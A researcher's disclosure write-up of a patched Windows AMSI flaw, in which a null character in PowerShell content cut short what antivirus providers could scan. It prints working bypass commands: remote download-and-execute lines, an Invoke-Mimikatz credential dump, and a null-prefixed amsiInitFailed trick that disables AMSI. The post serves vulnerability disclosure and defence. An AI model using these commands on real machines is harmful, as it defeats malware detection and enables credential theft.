AMSI Bypass With a Null Character

Original text by Satoshi’s note

In this blog post, I am going to look into a flaw I reported a few months ago and see how the flaw could have been exploited to execute malicious PowerShell scripts and commands while bypassing AMSI based detection. This issue has been fixed as defense-in-depth with the February Update.

What is AMSI

AMSI, Anti-malware Scan Interface, is a mechanism Windows 10+ provides security software vendors for developing software that subscribes certain events and detects malicious contents. AMSI issues several types of events, but the most commonly used one by the software vendors is arguably the events about execution of scripts, where software can receive contents of those scripts and commands about to be executed (I will refer to them as contents simply), then scan and block them. 
The below illustration is an overview of how this event is generated and notified to security software for scanning.

The red boxes are security software that subscribes the events from AMSI and are called AMSI providers. When supported script engines such as PowerShell (i.e., System.Management.Automation.dll) and Windows Script Host (e.g., JScript.dll) execute contents, they call one of the functions exported from amsi.dll with the contents to scan with AMSI providers.  
As illustrated above, AMSI providers rely on script engines to call the exported function and forward contents properly through amsi.dll; or, they would not receive contents and detect malicious strings.

The Bug

The bug fixed was System.Management.Automation.dll did not take account of that PowerShell contents could include null characters in them and called AmsiScanString, which treated a null character as the end of contents, to forward contents to AMSI providers. Here is the prototype of the API.—-

  _In_     HAMSICONTEXT amsiContext,
  _In_     LPCWSTR      string,   // Will be terminated at the first null character
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result

Because of this bug, amsi.dll could truncate contents (value of «string» above) at the first null character and then send to AMSI providers. This results in that AMSI providers not being able to scan all of the contents and detect malicious strings.


The basic idea for exploitation is to place a null character into PowerShell contents before malicious strings appear.

File Based Exploitation

As a basic exploitation scenario, let us assume we are trying to execute Invoke-Mimikatz like this and being detected.—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘’)»—-

This is because the contents being Invoke-Expression’d are visible to AMSI providers as shown in the below screenshot.

Such detection can be bypassed by placing a null character at the beginning of the file being Invoke-Expression’d.

—-> powershell «IEX (New-Object Net.WebClient).DownloadString(‘’)»—-This successfully bypasses scan and detection by AMSI providers as seen below («Get-ChildItem Function: | Select-String Invoke» is added for a demonstration purpose).

Command Line Based Exploitation

With the above successful bypass, you might try to execute loaded Invoke-Mimikatz like below, but find it gets detected due to an appearance of «Invoke-Mimikatz» in the command line.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCerts»—-
A naive approach with Invoke-Expression could bypass process command line based detection but not AMSI based one, as «Invoke-Mimikatz» will still be visible to AMSI providers. Here is such an unsuccessful attempt.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); IEX (‘Invoke-‘+’Mimikatz -DumpCerts’)»—-

To bypass AMSI detection in this scenario, we can insert a null character into the command line with a bit of string manipulation.—-powershell «IEX (New-Object Net.WebClient).DownloadString(‘’); IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘Invoke-‘+’Mimikatz -DumpCerts’)»—-
The highlighted part prepends a null character that never gets executed to the original command line. A resulted string will look like this.—-if (0) {<NULL>} the rest of commands—-
This can successfully prevent AMSI providers from receiving all of the contents and detecting «Invoke-Mimikatz.»

Summary of Exploitation

For file contents, insert «#<NULL>» at the beginning of the file, and any places where additional scans with AMSI occur. To identify the latter places, some try-and-error will be needed. Using a debugger and logging invocation of AmsiScanString with the below command will be helpful.—-bp amsi!AmsiScanString «du @rdx;g»—-
For command line contents, wrap them into Invoke-Expression and prepend «‘if(0){{{0}}}’ -f $(0 -as [char]) +». Here is another step-by-step example to bypass detection on «AmsiUtils» and «amsiInitFailed» in the below contents:—-[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)—-
1. Wrap the original contents with Invoke-Expression.—-IEX (‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
2. Prepend the null character to bypass AMSI based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.AmsiUtils»).GetField(«amsiInitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
3. Make any modification sufficient to bypass command line based detection.—-IEX (‘if(0){{{0}}}’ -f $(0 -as [char]) + ‘[Ref].Assembly.GetType(«System.Management.Automation.Amsi’+’Utils»).GetField(«amsi’+’InitFailed»,»NonPublic,Static»).SetValue($null,$true)’)—-
It is worth noting that this exploitation is usable even on the Constrained Language Mode and does not trigger any event logs, unlike the most of AMSI bypass techniques which use reflection.

Fix and Recommendation

The fix Microsoft made was to use AmsiScanBuffer instead of AmsiScanString in System.Management.Automation.dll. As shown below, this function accepts arbitrary byte sequence for contents.—-

  _In_     HAMSICONTEXT amsiContext,
  _In_     PVOID        buffer,  // Not terminated at the null character
  _In_     ULONG        length,
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result


This way, AMSI providers can receive and scan entire contents even if a null character appears in the middle.
In theory, no action other than applying the patch should be required. However, software vendors using AMSI to scan PowerShell contents should review whether it can handle null characters properly should they appear.

Additionally, security researchers and users of security software can test if their AMSI providers are vulnerable to the bypass technique and ask vendors to address issues if needed. Also, it might be worth monitoring any appearance of a null character in PowerShell contents to detect attempts to exploit this issue.
As for other script engines, PowerShell Core is also affected but does not have a patch as of this writing yet. Windows Script Host is not affected as its interpreter stops reading script contents at the first null character, unlike PowerShell.


Kudos to Alex Ionescu (@aionescu) for helping me report this issue, and Microsoft for fixing it.

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